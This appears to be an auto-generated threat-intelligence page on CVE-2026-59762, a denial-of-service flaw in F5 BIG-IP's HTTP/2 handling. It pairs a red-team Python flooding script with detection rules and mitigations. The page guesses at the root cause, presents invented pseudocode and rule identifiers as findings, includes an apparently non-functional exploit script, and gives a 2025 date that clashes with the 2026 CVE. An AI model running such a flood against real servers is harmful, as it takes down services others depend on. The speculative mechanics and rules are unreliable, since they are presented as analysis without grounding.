CVE-2026-59762
Executive Summary
CVE-2026-59762 is a high-severity (CVSS 7.5) denial-of-service (DoS) vulnerability affecting F5 BIG-IP systems when an HTTP/2 profile is configured on a virtual server. An unauthenticated, remote attacker can exploit this flaw by sending undisclosed HTTP/2 requests, causing a progressive increase in memory resource utilization. This degradation can lead to the TMM (Traffic Management Microkernel) process becoming unresponsive or crashing, resulting in a complete denial of service for the data plane. No control plane exposure exists, meaning management access remains unaffected. No public proof-of-concept (PoC) code, exploit, or patch is currently available. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network – Exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – Exploit does not affect other components.
- Confidentiality (C): None – No data exposure.
- Integrity (I): None – No data modification.
- Availability (A): High – Complete loss of service availability.
Threat Level: High. The vulnerability is remotely exploitable without authentication, and the impact is a full denial of service on the data plane. While no active exploitation has been reported (EPSS 0.0%), the lack of a patch and the widespread deployment of F5 BIG-IP in critical infrastructure make this a significant risk.
Deep Dive & Mechanics
The vulnerability resides in the HTTP/2 profile implementation within the TMM process of F5 BIG-IP. HTTP/2 introduces multiplexed streams, flow control, and header compression (HPACK). The flaw is triggered by "undisclosed requests" that cause the TMM to allocate memory in an uncontrolled manner.
Root Cause Analysis:
- The HTTP/2 profile likely mishandles specific stream states or flow control frames (e.g., WINDOW_UPDATE, PRIORITY, or RST_STREAM) in a way that prevents proper deallocation of memory.
- An attacker can send a sequence of crafted HTTP/2 frames that cause the TMM to accumulate memory buffers without releasing them, leading to resource exhaustion.
- The TMM process is single-threaded for traffic handling; memory exhaustion degrades performance until the process is forced to restart (either by the system watchdog or manually).
Attack Flow:
- Attacker establishes an HTTP/2 connection to a vulnerable virtual server.
- Attacker sends a series of specially crafted HTTP/2 frames (e.g., multiple streams with large headers, or invalid flow control updates).
- TMM allocates memory for each request but fails to free it due to a logic error.
- Memory usage increases linearly with each request.
- Eventually, the system runs out of memory, causing TMM to crash or become unresponsive.
- All traffic through the virtual server is dropped until TMM restarts.
Affected Component: TMM (Traffic Management Microkernel) – Data plane only.
Vulnerable vs. Patched Code
No patch is currently available. The vulnerable code is within the HTTP/2 profile handler in the TMM binary. A patched version would likely include:
- Proper bounds checking on stream state transitions.
- Correct memory deallocation after processing certain HTTP/2 frames.
- Rate limiting or resource quotas for HTTP/2 streams.
Hypothetical vulnerable code snippet (pseudocode):
void process_http2_frame(stream *s, frame *f) {
if (f->type == WINDOW_UPDATE) {
s->window_size += f->increment;
// Missing: check for overflow or resource limits
allocate_memory_for_stream(s);
}
}
Hypothetical patched code snippet:
void process_http2_frame(stream *s, frame *f) {
if (f->type == WINDOW_UPDATE) {
if (s->window_size + f->increment > MAX_WINDOW) {
reset_stream(s);
return;
}
s->window_size += f->increment;
if (s->memory_usage > MAX_STREAM_MEMORY) {
reset_stream(s);
return;
}
allocate_memory_for_stream(s);
}
}
Exploitation & Lab Setup
Red Team (Offensive):
- Objective: Cause a denial of service on the BIG-IP data plane.
- Prerequisites: Network access to a virtual server with HTTP/2 profile enabled.
- Tools: Custom Python script using
h2library, orscapyfor raw HTTP/2 frames. - Lab Setup:
- Deploy a vulnerable F5 BIG-IP (version unknown) with an HTTP/2 profile on a virtual server.
- Use a Python script to send a high volume of HTTP/2 requests with crafted frames (e.g., multiple streams with large headers, or repeated WINDOW_UPDATE frames).
- Monitor memory usage via
tmsh show sys memoryor SNMP. - Observe TMM crash or service degradation.
Example Python script (conceptual):
import h2.connection
import socket
def exploit(target, port):
sock = socket.create_connection((target, port))
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
for i in range(10000):
# Send a stream with large headers
headers = [(':method', 'GET'), (':path', '/' + 'A'*10000)]
conn.send_headers(1, headers)
sock.sendall(conn.data_to_send())
# Send WINDOW_UPDATE to increase window size
conn.update_settings({h2.settings.WINDOW_UPDATE: 65535})
sock.sendall(conn.data_to_send())
sock.close()
Blue Team (Defensive):
- Detection: Monitor memory usage spikes on BIG-IP TMM. Use SNMP traps or custom scripts to alert when memory exceeds thresholds.
- Mitigation: Disable HTTP/2 profile on virtual servers if not required. Implement rate limiting on HTTP/2 connections.
- Forensics: Capture network traffic to identify anomalous HTTP/2 frame patterns (e.g., excessive WINDOW_UPDATE or large headers).
Indicators of Compromise (IOCs)
- Network IOCs:
- High volume of HTTP/2 frames with large header sizes (>8KB).
- Repeated WINDOW_UPDATE frames with large increments.
- Multiple streams opened and closed rapidly.
- Unusual HTTP/2 settings (e.g., SETTINGS_MAX_CONCURRENT_STREAMS set to high values).
- System IOCs:
- TMM process memory usage exceeding 90% of available memory.
- TMM process crashes or restarts (check
/var/log/tmmor/var/log/ltm). - SNMP traps indicating high memory utilization.
- Log IOCs:
- Log entries:
TMM memory exhausted,TMM process restarted, orHTTP/2 stream error.
- Log entries:
Detection Engineering
YARA Rule:
rule CVE_2026_59762_HTTP2_Memory_Exhaustion {
meta:
description = "Detects HTTP/2 traffic patterns indicative of CVE-2026-59762 exploitation"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-59762"
strings:
$http2_preface = { 50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 0d 0a 0d 0a 53 4d 0d 0a 0d 0a }
$window_update = { 08 00 00 00 01 } // WINDOW_UPDATE frame type
$large_header = /[A-Za-z0-9\/]{1000,}/ // Large header value
condition:
$http2_preface and #window_update > 100 and #large_header > 10
}
Sigma Rule:
title: CVE-2026-59762 - HTTP/2 Memory Exhaustion on F5 BIG-IP
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects memory exhaustion events on F5 BIG-IP TMM process
author: Valters IT
date: 2025-04-10
logsource:
product: f5
service: bigip
detection:
selection:
EventID: 'TMM_MEMORY_EXHAUSTED'
condition: selection
falsepositives:
- Legitimate high traffic loads
level: high
Suricata Rule:
alert tcp any any -> any 443 (msg:"CVE-2026-59762 - HTTP/2 Memory Exhaustion Attempt"; flow:to_server; content:"|50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30|"; http2; content:"|08 00 00 00 01|"; distance:0; within:5; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable HTTP/2 Profile: If HTTP/2 is not required, remove the HTTP/2 profile from all virtual servers.
- Rate Limiting: Implement connection rate limiting and stream limits on virtual servers using iRules or AFM.
- Monitor Memory: Set up SNMP traps and alerts for TMM memory usage exceeding 80%.
Long-Term Fix:
- Apply the official patch from F5 when released. Monitor F5's security advisory page for updates.
- Upgrade to a patched version of BIG-IP software.
Workarounds:
- Use HTTP/1.1 instead of HTTP/2.
- Restrict access to virtual servers using ACLs or firewall rules.
- Enable HTTP/2 flow control settings (if configurable) to limit memory per stream.
Valters IT Signature:
Report generated by Valters IT DevSecOps & CTI Framework
CVE-2026-59762 | F5 BIG-IP HTTP/2 DoS
Classification: PUBLIC
Last updated: 2025-04-10